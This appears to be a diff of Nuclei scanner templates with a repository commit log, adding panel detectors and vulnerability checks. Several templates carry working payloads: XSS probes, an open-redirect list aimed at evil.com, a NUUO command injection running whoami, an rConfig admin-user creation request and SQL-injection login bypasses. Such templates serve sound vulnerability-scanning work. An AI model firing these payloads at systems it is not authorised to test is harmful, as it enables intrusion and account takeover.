  # Author is the name of the author for the template
-  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
-  author: foulenzer
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
+  author: foulenzer & geeknik
  # Severity is the severity for the template.
  severity: medium
  #  Description optionally describes the template.
@@ -16,6 +16,8 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+    redirects: true
+    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
@@ -25,4 +27,4 @@ requests:
      - type: word
        words:
          - "text/html"
-        part: header
+        part: header
@@ -9,7 +9,11 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/global-protect/login.esp"
+      - "{{BaseURL}}/sslmgr"
+
    matchers:
      - type: word
        words:
          - "<title>GlobalProtect Portal</TITLE>"
+          - "<msg>Invalid parameters</msg>"
+        condition: or
@@ -2,7 +2,7 @@ id: kubernetes-pods-api

 info:
  name: Kubernetes Pods API
-  author: ilovebinbash
+  author: ilovebinbash & geeknik
  severity: critical
  description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.

@@ -20,4 +20,7 @@ requests:
      - type: word
        words:
          - "application/json"
-        part: header
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,15 @@
+id: manage-engine-admanager-panel
+
+info:
+  name: Manage Engine ADManager Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/authorization.do"
+    matchers:
+      - type: word
+        words:
+          - "<title>ManageEngine - ADManager Plus</title>"
@@ -0,0 +1,16 @@
+id: sonicwall-management-panel
+
+info:
+  name: SonicWall Management Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/auth.html"
+    matchers:
+      - type: word
+        words:
+          - "<title>SonicWall - Authentication</title>"
+          - "SonicWall Administrator"
@@ -0,0 +1,15 @@
+id: sonicwall-sslvpn-panel
+
+info:
+  name: SonicWall Virtual Office SSLVPN Panel
+  author: PR3R00T
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/welcome"
+    matchers:
+      - type: word
+        words:
+          - "<title>Virtual Office</title>"
@@ -36,10 +36,18 @@ requests:
      - "{{BaseURL}}/api/_swagger_/"
      - "{{BaseURL}}/api/spec/swagger.json"
      - "{{BaseURL}}/api/swagger/ui/index"
-      - "{{BaseURL}}/api/api/schema/"
+      - "{{BaseURL}}/__swagger__/"
+      - "{{BaseURL}}/_swagger_/"
+      - "{{BaseURL}}/swagger-resources/restservices/v2/api-docs"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "\"swagger\":"
          - "Swagger UI"
        condition: or
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,19 @@
+id: workspace-one-uem
+
+# Reference:
+# https://twitter.com/Jhaddix/status/1295861505963909120
+
+info:
+  name: Workspace ONE UEM AirWatch Login Page
+  author: gevakun
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/AirWatch/Login"
+    matchers:
+      - type: word
+        words:
+          - "About VMware AirWatch"
+        part: body
@@ -0,0 +1,24 @@
+id: apache-tomcat-snoop
+
+info:
+  name: Apache Tomcat example page disclosure - snoop
+  author: pdteam
+  severity: low
+  description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
+
+  # Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Request URI: /examples/jsp/snp/snoop.jsp'
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,25 @@
+id: manage-engine-ad-search
+
+info:
+  name: Manage Engine AD Search
+  author: PR3R00T
+  severity: high
+  description: Manage Engine AD Manager service can be configured to allow anonymous users to browse the AD list remotely.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/ADSearch.cc?methodToCall=search"
+      - "{{BaseURL}}:8443/ADSearch.cc?methodToCall=search"
+      - "{{BaseURL}}:8080/ADSearch.cc?methodToCall=search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "ManageEngine"
+          - "ADManager"
+        condition: and
@@ -0,0 +1,24 @@
+id: salesforce-aura-misconfig
+
+info:
+  name: Detect the exposure of Salesforce Lightning aura API
+  author: aaron_costello (@ConspiracyProof)
+  severity: medium
+
+  # Reference:-
+  # https://www.enumerated.de/index/salesforce
+  # Severity of this misconfiguration depends of disclosed information.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/aura"
+      - "{{BaseURL}}/s/sfsites/aura"
+      - "{{BaseURL}}/sfsites/aura"
+    body: "{}"
+
+    matchers:
+      - type: word
+        words:
+          - 'aura:invalidSession'
+        part: body
@@ -84,6 +84,7 @@ requests:
          - "JMImplementation"
          - "EnvironmentManager"
          - "org.springframework.boot.loader"
+          - "health"
        condition: or
      - type: status
        status:
@@ -0,0 +1,22 @@
+id: basic-auth-detection
+
+info:
+  name: Basic auth detection
+  author: "@w4cky_"
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 401
+
+      - type: word
+        words:
+          - "Www-Authenticate:"
+        part: header
@@ -46,6 +46,8 @@ requests:
      - "{{BaseURL}}/graph_cms"
      - "{{BaseURL}}/query-api"
      - "{{BaseURL}}/api/cask/graphql-playground"
+      - "{{BaseURL}}/altair"
+      - "{{BaseURL}}/playground"

    headers:
      Content-Type: application/json
@@ -58,8 +60,6 @@ requests:
          - 200
      - type: regex
        regex:
-          - "(Query |QUERY |query ).*?"
-          - "(Graph|GRAPH|graph).*?"
          - "__schema"
          - "(Introspection|INTROSPECTION|introspection).*?"
-          - ".*?operation not found.*?"
+          - ".*?operation not found.*?"
@@ -0,0 +1,24 @@
+id: kibana-detect
+
+info:
+  name: Kibana Service Detection
+  author: petruknisme
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=%2F"
+      - "{{BaseURL}}/bundles/login.bundle.js"
+      - "{{BaseURL}}/bundles/kibana.style.css"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - "<title>Kibana</title>"
+          - "kibanaLoaderWrap"
+          - "kibanaLoader"
+          - "xpack"
+          - "Elasticsearch B.V"
+        condition: or
@@ -0,0 +1,21 @@
+id: oidc-detect
+info:
+  name: Detect OpenID Connect provider
+  author: jarijaas
+  severity: info
+  description: Detects OpenID Connect providers. See https://en.wikipedia.org/wiki/OpenID_Connect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.well-known/openid-configuration"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - issuer
+          - authorization_endpoint
+        condition: and
@@ -0,0 +1,23 @@
+id: pi-hole-detect
+info:
+  name: pi-hole detector
+  author: geeknik
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin/index.php"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Pi-hole"
+          - "Web Interface"
+          - "FTL"
+        part: body
+        condition: and
@@ -2718,3 +2718,17 @@ requests:
          - "Server: Mida eFramework"
        condition: or
        part: all
+
+      - type: word
+        name: SEEEMS-CMS
+        words:
+          - "SEEEMS.CMS"
+          - "SEEEMS.FRAMEWORK"
+        condition: or
+        part: body
+
+      - type: regex
+        name: awselb
+        regex:
+          - 'awselb'
+        part: header
@@ -1,7 +1,7 @@
-id: what-waf-detect
+id: waf-detect

 info:
-  name: What WAF Detection
+  name: WAF Detection
  author: dwisiswant0
  severity: info

@@ -116,8 +116,6 @@ requests:
      - type: regex
        name: varnish
        regex:
-          - '(?i)\bxid. \d+'
-          - '(?i)varnish$'
          - '(?i)varnish'
          - '(?i).>.?security.by.cachewall.?<.'
          - '(?i)cachewall'
@@ -240,10 +238,8 @@ requests:
        regex:
          - '(?i)<RequestId>[0-9a-zA-Z]{16,25}<.RequestId>'
          - '(?i)<Error><Code>AccessDenied<.Code>'
-          - '(?i)\baws(alb)?.'
          - '(?i)x.amz.id.\d+'
          - '(?i)x.amz.request.id'
-          - '(?i)amazon(aws.com)?(\d+)?'
        condition: or
        part: all
      - type: regex
@@ -305,6 +301,7 @@ requests:
          - '(?i).>attention.required!.\|.cloudflare<.+'
          - '(?i)http(s)?.//report.(uri.)?cloudflare.com(/cdn.cgi(.beacon/expect.ct)?)?'
          - '(?i)ray.id'
+          - '(?i)__cfduid'
        condition: or
        part: all
      - type: regex
@@ -373,7 +370,6 @@ requests:
          - '(?i)x.binarysec.via'
          - '(?i)x.binarysec.nocache'
          - '(?i)binarysec'
-          - '(?i)\bbinarysec\b'
        condition: or
        part: all
      - type: regex
@@ -0,0 +1,27 @@
+id: nuuo-nvrmini2-upgradehandlephp-rce
+
+info:
+  name: NUUO NVRmini2 3.0.8 - Remote Code Execution
+  author: berkdusunur
+  severity: critical
+
+  # Reference:-
+  # https://www.exploit-db.com/exploits/40209
+  # https://github.com/berkdsnr/NUUO-NVRMINI-RCE
+  # https://packetstormsecurity.com/files/151573/NUUO-NVRmini-upgrade_handle.php-Remote-Command-Execution.html
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;whoami;%27"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "/upload_tmp_dir/"
+        part: body
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: open-redirect

 info:
  name: Open redirect Detection
-  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
+  author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
  severity: low
  description: A user-controlled input redirect users to an external website.

@@ -19,7 +19,7 @@ requests:
      - "{{BaseURL}}//evil.com/..;/css"
      - "{{BaseURL}}/evil%E3%80%82com"
      - "{{BaseURL}}/%5Cevil.com"
-      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
+      - "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
    matchers:
      - type: regex
        regex:
@@ -0,0 +1,64 @@
+id: rconfig-rce
+
+info:
+  name: rConfig 3.9.5 - Remote Code Execution
+  author: dwisiswant0
+  severity: high
+
+  # This template supports the user creation part only.
+  # To triggering an RCE, see references[2].
+  # References:
+  # - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
+  # - [2] https://www.exploit-db.com/exploits/48878
+
+requests:
+  - raw:
+      - |
+        POST /lib/crud/userprocess.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: python-requests/2.23.0
+        Connection: close
+        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
+        Upgrade-Insecure-Requests: 1
+        Cookie: PHPSESSID=pdnuclei
+
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="username"
+
+        pdnuclei
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="passconf"
+
+        Testing1@
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="password"
+
+        Testing1@
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="email"
+
+        [email protected]
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="editid"
+
+
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="add"
+
+        add
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="ulevelid"
+
+        9
+        --01b28e152ee044338224bf647275f8eb--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User pdnuclei successfully added to Database"
+        part: body
+      - type: status
+        status:
+          - 302
@@ -0,0 +1,19 @@
+id: sassy-social-share-xss
+
+info:
+  name: Sassy Social Share XSS
+  author: Random-Robbie
+  severity: medium
+  description: Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS)
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{"facebook_urls":[{"<img src=x onerror=alert(document.domain)>":""}],"status":1,"message":{"":{"twitter":0}}}'
+        part: body
@@ -0,0 +1,38 @@
+id: vpms-auth-bypass
+
+info:
+  name: Vehicle Parking Management System 1.0 - Authentication Bypass
+  author: dwisiswant0
+  severity: high
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48877
+
+requests:
+  - raw:
+      - |
+        POST /login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Referer: http://{{Hostname}}/login.php
+        Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "LAGOS PARKER"
+          - "Login Successfully"
+          - "location.href = 'index.php';"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,33 @@
+id: wordpress-wpcourses-info-disclosure
+
+info:
+  name: WordPress WP Courses Plugin Information Disclosure
+  author: dwisiswant0
+  severity: high
+  description: Critical Information Disclosure on WP Courses plugin < 2.0.29 exposes private course videos and materials
+
+  # References:
+  # - [1] https://www.exploit-db.com/exploits/48910
+  # - [2] https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "rest_post_invalid_id"
+          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
+        condition: or
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: status
+        status:
+          - 200
+          - 404
+        condition: or
@@ -0,0 +1,40 @@
+id: zms-auth-bypass
+
+info:
+  name: Zoo Management System 1.0 - Authentication Bypass
+  author: dwisiswant0
+  severity: high
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48880
+
+requests:
+  - raw:
+      - |
+        POST /zms/admin/index.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Origin: http://{{Hostname}}
+        Connection: close
+        Referer: http://{{Hostname}}/zms/admin/index.php
+        Cookie: PHPSESSID=s22oss00i0ob4hcnsgkobb9r7p
+        Upgrade-Insecure-Requests: 1
+
+        username=dw1%27+or+1%3D1+%23&password=dw1%27+or+1%3D1+%23&login=
+
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "Zoo Management System (\\|\\| Dashboard|@ 2020\\. All right reserved)"
+          - "ZMS ADMIN"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,15 @@
+id: basic-auth-workflow
+
+info:
+  name: Basic auth detection and bruteforce workflow
+  author: "@w4cky_"
+
+variables:
+  basic_auth_detect: technologies/basic-auth-detection.yaml
+  basic_auth_bruteforce: fuzzing/basic-auth-bruteforce.yaml
+
+logic:
+  |
+  if basic_auth_detect()  {
+     basic_auth_bruteforce()
+        }
@@ -1,7 +1,7 @@
-id: jira-exploitaiton-workflow
+id: jira-exploitation-workflow

 info:
-        name: Jira Exploitaiton workflow
+        name: Jira Exploitation workflow
        author: micha3lb3n

 variables:
@@ -19,6 +19,7 @@ variables:
        jira_cve_6: cves/CVE-2020-14179.yaml
        jira_cve_7: cves/CVE-2020-14181.yaml
        jira_cve_8: cves/CVE-2019-8442.yaml
+        jira_cve_9: cves/CVE-2019-3402.yaml

 logic:
        |
@@ -36,4 +37,5 @@ logic:
                jira_cve_6()
                jira_cve_7()
                jira_cve_8()
+                jira_cve_9()
        }
@@ -17,6 +17,8 @@ variables:
  wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
  wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
  w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
+  wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
+  sassy_social_share: vulnerabilities/sassy-social-share.yaml
  wordpress_cve: cves/CVE-2019-9978.yaml
  wordpress_cve_2: cves/CVE-2019-6715.yaml
Author	SHA1	Message	Date
GitHub Action	eb270c814c	Auto Update README [Wed Nov 18 19:13:34 UTC 2020] 🤖	2020-11-18 19:13:34 +00:00
bauthard	1ec8040a8d	Merge pull request #624 from dwisiswant0/add/CVE-2020-13942 Add CVE-2020-13942	2020-11-19 00:42:55 +05:30
GitHub Action	536539570e	Auto Update README [Wed Nov 18 19:09:59 UTC 2020] 🤖	2020-11-18 19:09:59 +00:00
bauthard	7d41f99f4e	Merge pull request #623 from dwisiswant0/add/CVE-2020-16846 Add CVE-2020-16846	2020-11-19 00:39:33 +05:30
Dwi Siswanto	05f41079f4	🔥 Add CVE-2020-13942	2020-11-19 00:47:19 +07:00
Dwi Siswanto	63cfa344bd	🔥 Add CVE-2020-16846	2020-11-19 00:21:07 +07:00
GitHub Action	5bd7f829ab	Auto Update README [Wed Nov 18 14:52:25 UTC 2020] 🤖	2020-11-18 14:52:25 +00:00
bauthard	224e42bbbd	readme wip	2020-11-18 20:21:29 +05:30
GitHub Action	c882f01d0d	Auto Update README [Tue Nov 17 19:15:06 UTC 2020] 🤖	2020-11-17 19:15:06 +00:00
bauthard	2544f78855	Merge pull request #622 from dwisiswant0/feature/auto-update-readme Enhance auto update README	2020-11-18 00:44:38 +05:30
Dwi Siswanto	18c74bc6c9	🔨 Remove unused import	2020-11-18 01:55:17 +07:00
Dwi Siswanto	be8472e760	✏️ Incorrect closing tag	2020-11-18 01:33:14 +07:00
Dwi Siswanto	bd7cb4643f	📝 Add trailing newlines	2020-11-18 01:29:05 +07:00
Dwi Siswanto	ed4cbf6df4	✏️ Wrong variable template	2020-11-18 01:26:27 +07:00
Dwi Siswanto	6ac16c7660	🔨 Fix incorrent path script	2020-11-18 01:23:48 +07:00
Dwi Siswanto	8d47af848b	✏️ Remove unnecessary args	2020-11-18 01:21:17 +07:00
Dwi Siswanto	2a3259b338	🔨 Auto update readme improves	2020-11-18 01:21:17 +07:00
Dwi Siswanto	7f48d4c8c5	🔨 Fix conflicts	2020-11-18 01:20:40 +07:00
GitHub Action	d477db3002	Auto Update README [Tue Nov 17 18:12:06 UTC 2020] 🤖	2020-11-17 18:12:06 +00:00
bauthard	951a32d833	readme wip	2020-11-17 23:41:29 +05:30
bauthard	245450ba03	Merge pull request #617 from geeknik/patch-15 Update open-redirect.yaml	2020-11-17 18:26:19 +05:30
GitHub Action	8d637df405	Auto Update README [Tue Nov 17 12:45:06 UTC 2020] 🤖	2020-11-17 12:45:06 +00:00
bauthard	2a46a9000b	readme. update	2020-11-17 18:14:42 +05:30
bauthard	7186a9c276	Merge pull request #621 from projectdiscovery/readme-auto-update Readme auto update	2020-11-17 18:13:46 +05:30
bauthard	77564e1711	Merge pull request #620 from dwisiswant0/feature/auto-update-readme Feature Auto Update README	2020-11-17 18:12:04 +05:30
Dwi Siswanto	3c65d12715	Merge branch 'feature/auto-update-readme' of github.com:dwisiswant0/nuclei-templates into feature/auto-update-readme	2020-11-17 18:41:17 +07:00
Dwi Siswanto	344760aab5	♻️ Add dep for update readme workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	eb015be802	🔨 Update readme script	2020-11-17 18:39:51 +07:00
Dwi Siswanto	c82cf8b720	📝 Fix indents	2020-11-17 18:39:51 +07:00
Dwi Siswanto	dd95ae5a58	♻️ Add auto update README workflow	2020-11-17 18:39:51 +07:00
Dwi Siswanto	1e8e3a9304	🔨 Fix conflicts	2020-11-17 18:39:11 +07:00
bauthard	e857aef0f6	test	2020-11-17 16:58:04 +05:30
bauthard	c03f0f07c1	Merge pull request #618 from geeknik/patch-16 Update kubernetes-pods.yaml	2020-11-17 16:28:44 +05:30
bauthard	9403d02e38	Merge pull request #619 from Sanya1991/master Add CVE-2017-12637 template	2020-11-17 16:28:19 +05:30
bauthard	071e3b25c9	few updates	2020-11-17 16:27:15 +05:30
Sandor Toth	0202889780	cve-2017-12637.yaml tab fixed	2020-11-17 11:18:19 +01:00
Sandor Toth	f5e1d23545	cve-2017-12637.yaml added	2020-11-17 11:14:41 +01:00
Dwi Siswanto	1cb5780680	♻️ Add dep for update readme workflow	2020-11-17 06:43:59 +07:00
Dwi Siswanto	0932426f0e	🔨 Update readme script	2020-11-17 06:43:02 +07:00
Dwi Siswanto	cd4db3c9c5	🔥 Remove README.py	2020-11-17 06:42:49 +07:00
Dwi Siswanto	a8a891d117	📝 Fix indents	2020-11-17 06:02:12 +07:00
Dwi Siswanto	b8b9152950	♻️ Add auto update README workflow	2020-11-17 05:59:12 +07:00
Dwi Siswanto	8747f5ed9c	🔨 Update auto README	2020-11-17 05:58:45 +07:00
Geeknik Labs	7629b08e8e	Update kubernetes-pods.yaml This either needs to match against status 200 or it needs to ignore status 404 due to false positives.	2020-11-16 17:35:49 +00:00
Geeknik Labs	bc398cf3e3	Update open-redirect.yaml Add `langTo` parameter.	2020-11-16 17:02:48 +00:00
bauthard	7c7a7ba69f	readme update	2020-11-16 22:25:13 +05:30
Geeknik Labs	a2243cbf30	Update open-redirect.yaml Add missing host to `RequestURI`. 👍🏻	2020-11-16 16:52:13 +00:00
bauthard	348d46fbb0	Merge pull request #615 from dwisiswant0/add/CVE-2020-8209 Add CVE-2020-8209	2020-11-16 21:58:26 +05:30
Dwi Siswanto	d6198665e7	🔥 Add CVE-2020-8209 References: - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/	2020-11-16 21:49:51 +07:00
bauthard	2f42b6edd7	Adding apache-tomcat-snoop example page	2020-11-16 19:30:33 +05:30
bauthard	2187e142b1	Merge pull request #613 from binaryfigments/master Added check for spoofable SPF records	2020-11-15 20:59:02 +05:30
bauthard	4ed2e6f56f	Merge pull request #614 from mohammedshine/patch-6 Create CVE-2020-14815.yaml	2020-11-14 15:38:05 +05:30
bauthard	b1965155f7	Update CVE-2020-14815.yaml	2020-11-14 15:37:15 +05:30
bauthard	a710c24d4d	Update CVE-2020-14815.yaml	2020-11-14 15:35:06 +05:30
mohammedshine	a273c87c2e	Create CVE-2020-14815.yaml	2020-11-13 01:25:48 +05:30
bauthard	3cf5167077	Update CVE-2019-20141.yaml	2020-11-12 14:30:01 +05:30
bauthard	c4349a33cf	fixing possible false positive	2020-11-12 13:55:56 +05:30
Sebastian Broekhoven	51754d7cd1	added forcepoint	2020-11-11 23:22:57 +01:00
Sebastian Broekhoven	4cc190f1b9	Added: E-mail service detector	2020-11-11 23:21:13 +01:00
Sebastian Broekhoven	8b990fd753	linter	2020-11-11 22:34:40 +01:00
Sebastian Broekhoven	4f4797ceb4	Added check for spoofable SPF records	2020-11-11 22:27:34 +01:00
bauthard	cdfb537623	Merge pull request #612 from harleo/master Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.…	2020-11-12 00:56:14 +05:30
Leo	f03482fdd7	Rename jira-exploitaiton-workflow.yaml to jira-exploitation-workflow.yaml	2020-11-11 20:16:20 +01:00
bauthard	477dc5cf08	Merge pull request #611 from harleo/master Corrected Jira workflow typos	2020-11-12 00:36:10 +05:30
Leo	86ec9f5ab3	Update jira-exploitaiton-workflow.yaml Corrected exploitation typo	2020-11-11 19:51:48 +01:00
Leo	77fefbc493	Update README.md Corrected typo in Jira workflow	2020-11-11 19:50:43 +01:00
bauthard	d85749b5c7	Update springboot-detect.yaml	2020-11-11 17:33:07 +05:30
bauthard	4f746684c8	Encoding updates	2020-11-10 19:43:51 +05:30
bauthard	377a7df758	Adding NUUO NVRmini2 3.0.8 - Remote Code Execution	2020-11-09 16:09:50 +05:30
bauthard	dab35a9b8c	Merge pull request #608 from ironfisto/master Added aws load balancer tech detect yaml	2020-11-08 15:49:08 +05:30
bauthard	e9902629c1	moving files	2020-11-08 15:47:24 +05:30
Mukul	9fc3e503da	fixed file ext issue	2020-11-08 15:30:03 +05:30
Mukul	dadf6694e8	added aws load balancer tech detect yml	2020-11-08 14:46:02 +05:30
bauthard	56ee390869	Adding Wordpress Plugin Scanner	2020-11-07 18:40:51 +05:30
bauthard	1505e88b68	Merge pull request #556 from projectdiscovery/basic-auth-fuzzing Adding basic auth fuzzing	2020-11-07 18:23:18 +05:30
bauthard	25c00e7af7	Update .nuclei-ignore	2020-11-07 18:21:41 +05:30
bauthard	e7efb8929f	Delete wp-plugin-scan.yaml	2020-11-07 18:17:51 +05:30
bauthard	bf8504e12a	Delete wp-plugins.txt	2020-11-07 18:10:27 +05:30
bauthard	eb47380134	Update azure-takeover-detection.yaml	2020-11-07 17:38:04 +05:30
bauthard	739e7e0472	Merge pull request #607 from CasperGN/alerta-fix Search for "provider":"ldap" to complete the match on the cve	2020-11-07 17:16:22 +05:30
Casper Guldbech Nielsen	29d421549a	Search for "provider":"ldap" to complete the match on the cve Signed-off-by: Casper Guldbech Nielsen <[email protected]>	2020-11-07 12:37:29 +01:00
bauthard	b85f5656c8	Merge pull request #606 from CasperGN/cve-2020-26214 Add cve-2020-26214 detection	2020-11-07 16:42:45 +05:30
